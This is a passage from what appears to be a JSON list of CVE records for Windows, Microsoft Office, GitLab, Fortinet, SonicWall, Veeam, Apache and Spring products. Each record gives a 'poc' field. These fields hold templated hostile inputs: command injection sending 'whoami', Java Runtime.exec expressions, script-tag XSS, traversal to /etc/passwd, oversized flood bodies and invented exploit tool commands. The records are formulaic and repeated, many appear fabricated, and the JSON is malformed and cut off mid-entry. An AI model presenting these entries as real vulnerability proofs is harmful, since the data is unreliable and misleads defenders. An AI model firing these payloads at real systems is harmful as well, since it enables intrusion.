    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30117",
    "title": "Windows WMI - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40616",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22292",
    "title": "Spring Data JPA - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data JPA allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28024",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29878",
    "title": "Veeam Backup Enterprise Manager - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup Enterprise Manager allows RCE."
  },
  {
    "id": "CVE-2023-34153",
    "title": "SonicWall GMS - Path Traversal",
    "date": "2023-07-12",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /gms/../../etc/passwd HTTP/1.1\nHost: sonicwall-gms-server",
    "description": "Path traversal in SonicWall GMS allows access to sensitive files."
  },
  {
    "id": "CVE-2024-26265",
    "title": "Windows DWM - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "dwm_flood --cmd crash",
    "description": "Desktop Window Manager flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40083",
    "title": "Apache Storm - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topology\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Storm via topology submission."
  },
  {
    "id": "CVE-2024-21422",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28293",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-30118",
    "title": "Windows RPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rpc_flood --target target_ip --port 135",
    "description": "RPC flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40617",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22293",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28025",
    "title": "FortiMail - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiMail flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29879",
    "title": "Veeam ONE - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: veeam-one-server",
    "description": "Path traversal in Veeam ONE allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34154",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26266",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  }

  {
    "id": "CVE-2024-30119",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40084",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Kafka API flaw causes denial of service via crafted topic requests."
  },
  {
    "id": "CVE-2024-21423",
    "title": "Microsoft Azure AD Connect - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "adconnect_exploit --cmd whoami",
    "description": "Azure AD Connect flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-28294",
    "title": "Microsoft Outlook - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-rule exploit.eml",
    "description": "Malicious email rules in Outlook allow RCE when processed."
  },
  {
    "id": "CVE-2024-22294",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28026",
    "title": "FortiADC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiadc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiADC allows RCE."
  },
  {
    "id": "CVE-2024-29880",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34155",
    "title": "SonicWall Analytics - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Analytics allows script execution via report names."
  },
  {
    "id": "CVE-2024-26267",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40085",
    "title": "Apache Flink - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Flink API flaw causes denial of service via crafted job requests."
  },
  {
    "id": "CVE-2024-21424",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28295",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30120",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40618",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/workflows HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via workflow script execution."
  },
  {
    "id": "CVE-2024-22295",
    "title": "Spring Data Neo4j - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"node\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Neo4j allows script execution via node properties."
  },
  {
    "id": "CVE-2023-28027",
    "title": "FortiClient - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "forticlient_exploit --cmd whoami",
    "description": "FortiClient flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2024-29881",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34156",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26268",
    "title": "Windows ALPC - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40086",
    "title": "Apache Pulsar - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Pulsar API flaw causes denial of service via crafted function requests."
  },
  {
    "id": "CVE-2024-21425",
    "title": "Microsoft Azure Data Factory - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Data Factory allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28296",
    "title": "Microsoft PowerPoint - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "powerpoint.exe --malformed-slide crash.pptx",
    "description": "PowerPoint flaw causes denial of service via crafted slide processing."
  },
  {
    "id": "CVE-2024-30121",
    "title": "Windows CSRSS - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "csrss_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40619",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22296",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28028",
    "title": "FortiGate - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiGate flaw causes denial of service via crafted VPN requests."
  },
  {
    "id": "CVE-2024-29882",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34157",
    "title": "SonicWall SMA - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /sma/api HTTP/1.1\nHost: sonicwall-sma-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall SMA flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26269",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40087",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21426",
    "title": "Microsoft Azure Synapse - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Synapse flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28297",
    "title": "Microsoft OneNote - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "onenote.exe --malformed-note crash.one",
    "description": "OneNote flaw causes denial of service via crafted note processing."
  },
  {
    "id": "CVE-2024-30122",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40620",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22297",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28029",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29883",
    "title": "Veeam Backup Enterprise Manager - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup Enterprise Manager flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34158",
    "title": "SonicWall GMS - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall GMS allows RCE."
  },
  {
    "id": "CVE-2024-26270",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40088",
    "title": "Apache Storm - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Storm API flaw causes denial of service via crafted topology requests."
  },
  {
    "id": "CVE-2024-21427",
    "title": "Microsoft Azure AD - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure AD flaw causes denial of service via crafted user requests."
  },
  {
    "id": "CVE-2023-28298",
    "title": "Microsoft Publisher - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "publisher.exe --malformed-file crash.pub",
    "description": "Publisher flaw causes denial of service via crafted file processing."
  },
  {
    "id": "CVE-2024-30123",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40621",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22298",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28030",
    "title": "FortiNAC - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiNAC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29884",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34159",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26271",
    "title": "Windows ALPC - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  }

  {
    "id": "CVE-2024-30124",
    "title": "Windows Win32k - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "win32k_exploit --cmd whoami",
    "description": "Win32k driver flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40089",
    "title": "Apache Druid - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Druid API flaw causes denial of service via crafted SQL queries."
  },
  {
    "id": "CVE-2024-21428",
    "title": "Microsoft Azure API Management - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"code\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure API Management via crafted API calls."
  },
  {
    "id": "CVE-2023-28299",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-22299",
    "title": "Spring Data Elasticsearch - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Elasticsearch allows script execution via search queries."
  },
  {
    "id": "CVE-2023-28031",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29885",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34160",
    "title": "SonicWall Analytics - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Analytics flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26272",
    "title": "Windows RDP - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rdp_flood --target target_ip --port 3389",
    "description": "RDP flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40090",
    "title": "Apache Airflow - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Airflow API flaw causes denial of service via crafted DAG requests."
  },
  {
    "id": "CVE-2024-21429",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28300",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30125",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40622",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22300",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28032",
    "title": "FortiSIEM - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortisiem-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiSIEM allows RCE."
  },
  {
    "id": "CVE-2024-29886",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34161",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26273",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40091",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21430",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28301",
    "title": "Microsoft Access - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.accdb\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Access macro vulnerability allows RCE when malicious database is opened."
  },
  {
    "id": "CVE-2024-30126",
    "title": "Windows Hyper-V - RCE",
